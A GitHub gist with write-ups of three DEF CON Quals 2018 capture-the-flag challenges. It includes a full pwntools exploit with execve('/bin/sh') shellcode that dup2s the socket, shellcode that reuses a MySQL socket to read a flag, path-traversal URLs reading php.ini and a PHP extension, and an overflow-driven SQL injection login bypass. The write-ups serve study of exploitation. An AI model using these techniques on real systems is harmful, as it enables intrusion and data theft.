Skip to content

Instantly share code, notes, and snippets.

@masthoon
Last active June 27, 2019 01:38
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save masthoon/a5bfa12503d4bb4d357de351a4c60198 to your computer and use it in GitHub Desktop.
Save masthoon/a5bfa12503d4bb4d357de351a4c60198 to your computer and use it in GitHub Desktop.
Write up for Defcon Quals 2018

stumbler

This challenge is a reverse / exploit composed of 5 binaries (ELF 64 bits).

We were unable to launch it locally (wrong libboost version) so, we solved the challenge directly on the remote side.

When you connect to the challenge, it send you a 32 bytes hex-encoded random string.

By looking at Stumbler binary, we found and reversed the generation and verification of the proof of work.

The hex buffer sent is a challenge, you need to respond with a hex encoded suffix that will make the full buffer SHA512 hash to start with two NULL bytes.

Proof of work code:

r = remote("f5a0cee8.quals2018.oooverflow.io", 9993)
hash = r.recvline().strip()
i = 0
hash = ''
while 1:
    hash = hashlib.sha512(hash.decode('hex') + str(i)).digest()
    if hash.startswith('\0\0'):
            break
    i+=1
r.sendline(str(i).encode('hex'))

Now, the stumbler (first binary executed) loads (mmap) the second binary app_init at a random address and execute the init function (stumbler_rt_init) then the main loop (stumbler_rt_entry) using hardcoded offsets (0x548 init 0x5B0 main).

The app_init binary is the application "manager", he will load and call one application depending on the global state.

The funny part of this challenge is the custom loader (called "sandbox" in the challenge description):

  • All applications are randomly relocated after each application execution (in rerandomize_segments).
  • An application is a small binary (ELF app_fn_0 + app_fn_1 + app_fn_2) and is loaded at a random address before being executed (mmap too).
  • The app manager (app_init) doesn't relocate itself.

The app manager loops 16 times before calling sys_exit, each time an application is executed.

The next application to be executed is stored on the global state (int between 0 and 2) and is controlled by the previously executed application.

Stumbler => app_init (stumbler_rt_entry)
				=> app_0 - ONLY links to app_1
				=> app_1 - links to app_0 or app_2 depending on user input
				=> app_2 - ONLY links to app_0
				=> exit after 16 iterations

App_0 is sending "do you want to play a game? (Y/N)" using the socket fd stored in the global state and receiving the answer in a buffer in the global state.

The global state is shared and passed between the applications by the manager (in reality only a part is passed).

App_1 is parsing the answer and setting next_app field to 3 if the stored user input is 'Y'.

If not, the app_1 leaks 0x100 bytes of the stack and set the next_app to 0.

We got our ASLR leak:

Offset 0x41: 0xf	    	// rbx stored in app_fn_0001 (loop count in stumbler_rt_entry)
Offset 0x49: 0x7ffe3d5be1e8 	// rbp stored in app_fn_0001 
Offset 0x51: 0x7f4f9c3ae605 	// return addr (stumbler_rt_entry)
Offset 0x61: 0x600dc2885548 	// globalstate.app_fn_0000 RANDOM AT EACH EXECUTION OF AN APPLICATION
Offset 0x69: 0x6004eecc6548 	// globalstate.app_fn_0001 RANDOM AT EACH EXECUTION OF AN APPLICATION
Offset 0x71: 0x600389ea3548 	// globalstate.app_fn_0002 RANDOM AT EACH EXECUTION OF AN APPLICATION

The stack is not randomized at every run and contains the global state (as you can see in the stack leak).

App_2 is simple and allow us to arbitrary read AND write (the address need to be writable):

  recv_until(sock, &globalstate->buffer, 32, '\n');
  addr = strtoul(globalstate->buffer, 0, 16);
  send_all(sock, addr, 8); // arbitrary read
  recv_all(sock, addr, 8); // arbitrary write

Using this, we can write on the stack or on the .data of app_init (other application are randomized).

Exploit explanation:

  1. We first leaked the fd of the socket stored in the globalstate (fd 6).
  2. Then, we modified globalstate.app_fn_0000 pointer to point to our buffer (32 bytes).
  3. At the next rerandomize_segments, the code of the app_0 will be copied to a new random page.
  4. But, the app_fn_0000 is not pointing to the old code anymore but directly to the input buffer (globalstate.buffer).
  5. The input buffer previously RW on the stack will be copied, made Read eXecute and executed.
  6. The unmapping of the old code is done using sys_munmap and will not work on unaligned stack address.
  7. Moreover, the return value is not checked by the app manager.

The shellcode didn't fit in the input buffer so, we used the arbitrary write vulnerability to write the rest of the shellcode at the end of the inputbuffer (offset 32), unused fields of the global state.

Shellcode:

/* call syscall(DUP2, 6, 1) */
	push 0x21
	pop rax
	push 6
	pop rdi
	push 1
	pop rsi
	syscall
/* call syscall(DUP2, 6, 0) */
	push 0x21
	pop rax
	xor esi, esi /* 0 */
	syscall
/* call syscall(EXECVE, "/bin/sh", ["/bin/sh", 0], 0) */
   	xor    rdx,rdx
    	movabs rbx,0x68732f6e69622f2f
    	shr    rbx,0x8
    	push   rbx
    	mov    rdi,rsp
    	push   rax
    	push   rdi
    	mov    rsi,rsp
    	mov    al,0x3b
    	syscall
   	self: jmp self /* infinite loop */

Finally, we use the arbitrary write to overwrite globalstate.app_fn_0000 and spawn SHELL!

The shellcode being executed instead of the app_0 code.

Full Script:

r = remote("f5a0cee8.quals2018.oooverflow.io", 9993)
hash = r.recvline().strip()
i = 0
while 1:
    hash = hashlib.sha512(hash.decode('hex') + str(i)).digest()
    if hash.startswith('\0\0'):
            break
    i+=1

r.sendline(str(i).encode('hex'))

shellcode = 'j!Xj\x06_j\x01^\x0f\x05j!X1\xf6\x0f\x05H1\xd2H\xbb//bin/shH\xc1\xeb\x08SH\x89\xe7PWH\x89\xe6\xb0;\x0f\x05'
shellcode += '\xeb\xfe'

globalstate_leaked = 0x7ffe3d5be1e8 # from previous execution (sendline('N'))
offset_user_input = 0x720
size_of_user_input = 32
size_shellcode_in_input = 19 # 19 bytes are already push into the globalstate.buffer by the recv_until in App_2 (see below)
offset_app_code = 0x548 # offset of the code of app_0 (globalstate.app_fn_0000 & 0xFFF)
offset_global_app_fn_0000 = 0x80 # offset of globalstate.code_fn_0_addr

def write(r, addr, what):
    r.recvuntil('So, uh, do you want to play a game? (Y/N) ')
    r.sendline('Y')
    r.recvuntil('COOL!  Guess a number: ')
    r.sendline('{:x}'.format(addr))
    r.recvline()
    leak = r.recv(8) # Arbitrary read (leak globalstate.buffer + 32 + i == NULL)
    r.send(what) # Arbitrary write (8 bytes)

current_pos = shellcode_size_recv_until # ugly code CTF style
while current_pos < len(shellcode):
    sc = shellcode[current_pos:current_pos+8]
    sc += '\x90' * (8 - len(sc)) # padding
    # Write the shellcode block at the end of globalstate.buffer
    write(r, globalstate_leaked + offset_user_input + size_of_user_input + (current_pos - size_shellcode_in_input), sc)
    current_pos += 8

# Overwrite the pointer of the app_0 code
r.recvuntil('So, uh, do you want to play a game? (Y/N) ')
r.sendline('Y')
r.recvuntil('COOL!  Guess a number: ')
addr= '{:x}'.format(globalstate_leaked + offset_global_app_fn_0000) + '.' + shellcode[0:size_shellcode_in_input] # Address of globalstate.app_fn_0000 and our shellcode
r.send(addr)
r.recvline()
shellcode_addr = globalstate_leaked + offset_user_input + (size_of_user_input - size_shellcode_in_input) # Replace globalstate.app_fn_0000 with our shellcode starts
r.send(p64(shellcode_addr - offset_app))
r.interactive()

Other w-u:

[*] shellql

This challenge is a "web" shellcoding, the goal is to read the flag from the MySQL database.

The PHP binary extension (PHP-CPP shellme x86-64 ELF) is loading and executing our POST input.
Before executing our shellcode:
 * The PHP script is opening a socket to the MySQL backend and connects to the right DB (user/pass/db in mysqli_connect).
 * The PHP extension is restricting the syscalls using PR_SET_SECCOMP SECCOMP_MODE_STRICT (read/write/exit/sigret)
 
PHP is loaded as a CGI binary, so the request is passed through the environment (can't reuse the HTTP connection)
 and the HTTP response will be loaded from the output of the CGI.

As the MySQL connection is already initialized, we just have to find the file descriptor of the socket,
 send the MySQL command to read the flag and return the flag nicely on the HTTP response.

1/ we found the correct fd (4) by checking the return value of the read syscall.
2/ we used (https://github.com/eboda/34c3ctf/blob/master/extract0r/exploit/exploit.py) to correctly encode the MySQL request.
3/ we can use stdout as output (no HTTP headers required just starting with \r\n) and call the syscall exit

Python Script:
def make_cmd(cmd):
    length = struct.pack("<I", len(cmd) + 2)[:3]
    return length + bytearray([0x0,0x3,]) + cmd

shellcode = shellcraft.amd64.linux.echo("\r\nRESULT:", '1')
shellcode += shellcraft.amd64.linux.echo(str(make_cmd('SELECT flag FROM flag')) + "\0FOOOOOOOOOOOOBAR", str(4))
shellcode += shellcraft.amd64.linux.read(4, count=300)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 300)
shellcode += shellcraft.amd64.linux.echo('\r\nDUMMY\r\n', '1')
shellcode += shellcraft.amd64.exit(0)

sc = asm(shellcode, arch = 'amd64', os = 'linux')
print(requests.post("http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php", {'shell': sc}).text)
[*] exzendtential-crisis

This challenge is a web / exploit running PHP. The source code of all files except flag.php is given.
We first thought the goal was to read the flag.php file using the SQLite injection (see below) but log in as Sarte and 
 fetching /flag.php is enough to get it.

By reading the source code, we noticed that some functions are not defined, the essays.php is vulnerable to path 
 information disclosure and LFI protected by a blacklist (can't read flag|proc|dev|sys).

Using the LFI, we can find the PHP extension responsible for the addition of new functions:
http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../../../etc/php/7.0/apache2/php.ini
Then, download it:
http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../../../usr/lib/php/20151012/mydb.so

The PHP extension is responsible for the user and session management, it uses a SQLite database to store users (/var/lib/mydb/mydb.db).

The extension has a stack overflow vulnerability in get_user_id, the username buffer passed to check_hacking_attempt can be overflowed.
The overflow only allow us to overwrite stack variables due to size check in check_hacking_attempt (<= 149).
One of the stack variable is the SQL table name used in the following query:
 "select rowid from %s where username = '%s' and password = '%s';" % (table, username, hashed_password)
The function get_user_id is reachable from the login form (check_credentials call in login.php).

The following characters and keywords were filtered by different components: ` ' SELECT select
So, using the overflow in the username, we can modify the table in the query which is not protected by simple quote.
We got SQL injection.

To test it, we found that the offset to overflow the table stack buffer was 112:
Using:
requests.post('http://d4a386ad.quals2018.oooverflow.io/login.php', {'username': 'q'*112 + 'FROM users WHERE 1=1 --', 'password':'123'})
 we were connected as a random user.
Then, we noticed that flag.php stated that only "Sarte" can read the flag.
We got the flag by connecting as Sarte with:
requests.post('http://d4a386ad.quals2018.oooverflow.io/login.php', {'username': 'q'*112 + 'WHERE username="Sarte" --', 'password':'123'})
 and going to the flag page with the returned PHPSESSID cookie.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment